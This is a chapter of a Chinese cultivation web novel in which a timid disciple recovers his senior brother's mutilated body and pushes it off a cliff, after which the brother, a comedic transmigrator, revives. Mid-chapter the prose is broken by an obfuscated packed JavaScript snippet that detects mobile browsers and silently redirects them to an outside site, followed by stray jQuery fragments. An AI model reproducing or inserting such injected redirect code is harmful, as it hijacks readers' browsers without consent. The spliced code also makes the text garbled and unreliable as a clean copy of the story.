后山禁林,日落时分。
李华背着草药篓,快步穿行在林间。
李华一直觉得自己是个普通人,不上不下的名次,不好不坏的师尊。他想一直过着普通的生活,听师尊的话,听大师兄的话,听长老们的话……
但即便是他这样木愣愣的性子,面对最近的这些事,也能察觉出一丝不对劲来,并久违地感到了一丝无措。
他不明白,为什么山门大阵防不住魔修?为什么长老和师兄们会被魔修杀死?为什么一向平和的师尊会如此心狠?
还有,为什么好好的大师兄忽然会被打成叛徒……
他说不出什么大道理,也不敢和位高权重的长老们硬碰硬,他唯一能做的,还是听话。
听大师兄的话。
他这辈子都没做过什么不守规矩的事,却用手指绞着衣袖,一咬牙,进了后山禁林。
他实在不明白师兄的要求是什么意思,怎么突然就要他帮忙收尸了?
还是把尸体扔下悬崖,太离谱了。
山风扫过,李华快步走着,他的裤腿簌簌抖动,膝盖却绷得笔直。他不敢抬头看那片黑压压的林子,据说里面住着三百年的蛇妖,八百年的恶虎,还有不计其数的毒藤蛊虫。
越往里走,他就越心慌。他踩上禁林里潮湿的腐叶,“吱呀”一声,他猛地缩了一下,拱成个虾米,怕得躲到一边,才发现自己只是踩到了枯枝。
虚惊一场。他松了口气,脚步却越发打颤了。
“大师兄,你、你千万要是骗我的啊……”他对着黑暗轻声说,一步一步往密林深处挪动。
千万要是骗我给你收尸的。
他不懂大师兄的用意,但希望大师兄别死。
从禁林入口到寒冥泉,以李华的速度,往返至少得要一个时辰。
等李华到达那片布满幽冥雾气的泉水边,已经月上中天了。
几块黢黑的巨石中间,是泉水流出汇集成的小潭,像一只睁着的、没有瞳仁的眼睛。
水面静得发僵,一片青黑色,仿佛深得能吞掉所有光线。寒气往外渗,粘在皮肤上如同细针,鬼气森然。
李华怕得不行,恐惧和寒气顺着脊梁骨爬到后脑勺,但仍然沿着水潭周围,小心翼翼地挪着步子。
他盯着水面,忽然觉得那片黑色里有什么东西在动——这地方不可能有鱼吧?
影子比鱼更深、更冷,顺着泉底的暗流缓缓游动,仿佛正贴着水面,隔着一线水面,在看他。
“啊!!!水鬼啊!!!”
李华大叫起来,脚下一打滑,摔了个屁股墩。
“哎哟……”
李华连滚带爬地想逃走,不过这一摔,他手里的火把掉下来,火光正好照进了水面下。
“这……这是?!”
李华一脸惊诧地看着水下那个影子,长发贴在惨白的脸上,嘴唇青得发灰。
他的大师兄,柳玉泽。
熟悉的面容就那么浮在水里,没有了半点活人的气息。
李华僵在原地,心中沉下去的寒意比禁林中的幽冥泉水还要冷。他的手脚像被冻住了,连发抖都忘了,刚才以为有水鬼的恐惧全都变成了冰锥,一下下凿着他的五脏六腑。
“大师兄?”
他喃喃自语道。
他从来没想过收尸的事情是真的,他以为师兄是跟他开玩笑的,就为了让他去禁林采药,才哄骗出一个收尸的幌子,为了让自己大着胆子采到好东西。
李华愣了很久很久。
久到他自己都不知道过去了多长时间,回过神来的时候,他已经把大师兄从潭水里捞了出来。
冰冷刺骨的寒冥泉水打湿了他的衣襟,带来刺骨的疼痛,他才知道,原来水牢里的水不是普通的水。
原来大师兄一直在忍受这种痛苦吗?
他把人翻过来,才发现师兄的后背被剖开了,血肉模糊、一片狼藉。
脊骨没有了。
李华如坠冰窖。
他的手颤抖着抚上这片狰狞的伤口,边缘非常粗糙,有很多挣扎的痕迹。
这分明是活人取骨啊!
谁能做出这种事?
他感到愤怒、痛苦、折磨……
他想回宗门,他想控诉,想跪在宗主面前,想让全宗门的弟子都看看这骇人的伤口!!
是谁冤枉了他的大师兄!是谁活活取出了他的剑骨!!
愤怒如火焰一般烧灼着他的五脏六腑。
……
李华哭了。
他哭得很伤心,一边哭一边打嗝,脸皱成一团,丑得有点搞笑。
愤怒的火焰就这样被泪水浇灭了。
他知道自己不敢。
他不敢站在师尊和长老的对立面,他不敢面对众目睽睽的人群,他不敢……
李华抬手给了自己一巴掌,脸上火辣辣的疼,眼泪混着鼻涕往下流。
他张了张嘴,想骂自己是懦夫,喉咙里却只发出嗬嗬的抽泣声,像只被踩住脖子的野鸡。
不知过了多久,李华才止住了哭。
他呆呆地背起大师兄的尸体,强撑着站起来,机械般一步步往忘忧崖的方向走过去。
大师兄之前叮嘱他,要把尸体丢下去。
忘忧崖,在后山的边界地,百丈高崖,悬崖之下就是山脚,就离开了宗门。
或许大师兄是想死后离开这个腌臜之地吧。
李华的步子沉得重若千斤,走出寒冥泉不远,就路过了一片火灵草。
火灵草乃是难得一见的火系仙草,一株就能卖到上千灵石,在这里居然长了这么一大片。
李华穿过火灵草,步子没停,眼泪却是又滚落下来。
……
半个时辰后,他终于到达了忘忧崖边。
李华把柳玉泽放下来,他看着师兄,忍着发酸的鼻子,把自己干净的外袍脱下来,给师兄裹好了。又摸出身上的灵石,还有什么乱七八糟的丹药,塞进师兄怀里,仿佛这样他能好过一点。
最后,他摸出一枚留影石。
他想给师兄的清白留下一点什么。
最后,他才万般不舍地、痛苦地,把人推下了山崖。
忘忧崖之上,寒风萧瑟,月光如霜。
……
柳玉泽感觉自己好像做了一个很长的梦。
梦中他是一个没心没肺的小职员,过着朝九晚五的生活,爱看点修仙小说。
他也偶尔会中二病一把,梦想自己是某个宗门的剑仙,打遍三界无敌手,狠狠装一把逼。
然后他就梦见。
自己变成了一个旋转烤鸡翅。
……?
真的鸡翅。
还是狗烤的鸡翅。
这条狗用一根铁签子,从他的身上穿进去,直接把尾椎到脖子捅了个对穿。
奶奶的,疼死翅了。
不对,鸡翅有脖子吗?
用“痛彻心扉”形容太过太文雅,真实情况是他痛得想当场跪下给这条狗磕三个响头。
随即而来的步骤,是狗用签子给鸡翅剔骨。
……我虽然不是人,但你是真的狗啊。
我们的柳鸡翅,已经疼得说不出话来了。
那种痛觉太真实了,柳玉泽感觉浑身的骨头都被碾碎了,每一寸神经都发出白噪音般的求救尖叫,肌肉在不受控制地抽搐,重锤、尖刀、铁刺一起在他身上炸开,他全身癫痫似的化作一滩肉糜。
痛,太痛了,痛得他想自我了断,来结束这种痛苦。
当疼痛达到某个临界点,时间开始粘稠地分层,上一秒他还蜷缩着发抖尖叫,下一秒却漂浮在天花板上,俯视这具支离破碎的尸体。
柳玉泽漠然地思考。
鸡翅可以杀掉狗吗?
只有无尽的疼痛回应他。
……
柳玉泽睁开了眼。
像溺水之人重新呼吸,他惊恐又迟疑,大口喘息着,胸口起伏得像个破风箱,冷汗布满了他的额头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332745|183315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我死了?
天堂的天花板是木头的吗?
梦中的那种疼痛还残存在他身上,如同附骨之疽,从骨髓里钻出来,在神经末梢上迟迟不肯散去。
柳玉泽疼得恍惚了好一会儿,才想起自己经历了什么。
他穿越了,然后被人剔了剑骨。
“草……”
他倒吸一口凉气,感觉身体好像能动又不能动。
能感觉到疼还能骂街,我这是没死透还是阎王爷网太卡了?
柳玉泽仰面躺着,回忆起自己意识的断点。
那还是在水牢里。
就在二师弟传话的第二天,他的师尊——傻逼慕月,就来水牢里看他了。
慕月打了好一番太极,其实就是想要那株混元根。
但柳玉泽知道,他的目的还有自己的剑骨。
过程难以详述,他也不想再回忆第二遍了。
总之……慕月知道了混元根的所在地,也活活剔下了他的剑骨。
他疼得昏死了过去,记忆就此中断。
直到现如今醒过来,看头顶的样式,应该是在某间木质的房子里。
不会吧不会吧?我不会真的没死吧?
柳玉泽惊了,这也能活?!
我靠,我就说穿越必当主角的吧!只要努力自救,作者自会打补丁让我活下来。
谢谢你,作者大大。
柳玉泽动不了身子,往虚空中眨了眨眼。
(作者:不用谢。)
他所不知道的那一串因果,确实让他活了下来。
本来是必死无疑的局面,但那一潭折磨了他许久的寒冥泉帮了大忙。
他疼晕过去后,阴寒之气愈发入体,本来寸断的经脉被凝结,让他看起来和死人无异,其实是陷入了一种活死人的状态。
于是慕月在得到剑骨后,直接把他丢入了水中,“尸体”顺着山中暗泉而下,直到被二师弟李华捡到。
他当时嘱咐二师弟,靠的是灵光一闪,说好听点是反向思考,说难听点是实在没招了,准备赌一赌小说世界的“公理”。
这是他在水牢里琢磨出来的。既然自己穿越了,那很有可能自己也是一本小说。既然是网文小说,那就有几条套路化的公理。
公理一:主角掉下悬崖必定大难不死。
嘿!赌对了,小爷我还喘着气呢!
柳玉泽得意地想。
此条公理应该还附加着一点增益buff,比如失传的绝世功法啦、戒指里出现老爷爷啦、崖底的高人要收自己为徒啦……
柳玉泽顿时感觉自己的前途一片光明!
此时,他听见外面有人说话的声音。
“是么,救活了……”
那声音简直了,清澈饱满又浑厚有磁性,迷人中带着一丝清冷,醉人得能把空气都震出细碎的金箔。
我靠,极品青年攻音!
柳玉泽作为一个混迹于男频女频,乃至于某福特,某耳的人!忽然有了非常不好的预感。
他开始,深深地……为自己的屁股……感到担忧……
忘了这本小说原文在某江了!这声音绝对是某江文改编到某耳后的攻1号的声音。
难道遇到原书的攻了?不对啊那个狗血癫公咋可能救自己……
柳玉泽忽然想起自己掉下山崖后的增益buff……是啥来着?
崖底的高人要收自己为徒。
……
奶奶的,原来反复强调师尊查我屁股是预告啊!
此师尊非彼师尊,搁这儿等我呢?
某江的师徒关系也太高危了吧,不是剔骨,就是屁股……
虽然我博览群书但我是直男啊。
柳玉泽很忧郁。
但很快,一阵脚步声传来,打断了他的思绪。
有人走进房间,走到了他的床边。
没办法了,真正的勇士敢于面对某江纯爱频的人生!
柳玉泽用尽毕生的勇气,抬头看过去。